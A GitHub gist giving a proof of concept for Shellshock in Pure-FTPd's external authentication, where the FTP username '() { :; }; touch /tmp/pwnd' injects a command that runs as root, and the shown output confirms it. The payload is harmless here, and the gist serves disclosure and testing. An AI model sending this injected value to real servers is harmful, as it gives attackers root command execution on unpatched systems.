Last active
August 8, 2023 20:07
-
-
Save jedisct1/88c62ee34e6fa92c31dc to your computer and use it in GitHub Desktop.
Pure-FTPd + external authentication handler #shellshock POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ cat > /tmp/handler.sh | |
#! /bin/bash | |
echo auth_ok:1 | |
echo uid:42 | |
echo gid:21 | |
echo dir:/tmp | |
echo end | |
^D | |
$ chmod +x /tmp/handler.sh | |
# pure-authd -B -s /tmp/ftpd.sock -r /tmp/handler.sh | |
# pure-ftpd -B -l extauth:/tmp/ftpd.sock | |
$ ftp 127.0.0.1 | |
Name: () { :; }; touch /tmp/pwnd | |
Password: whatever | |
^C | |
$ ls -l /tmp/pwnd | |
-rw------- 1 root wheel 0 Sep 27 15:28 /tmp/pwnd |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Confirmed this myself. It's legit.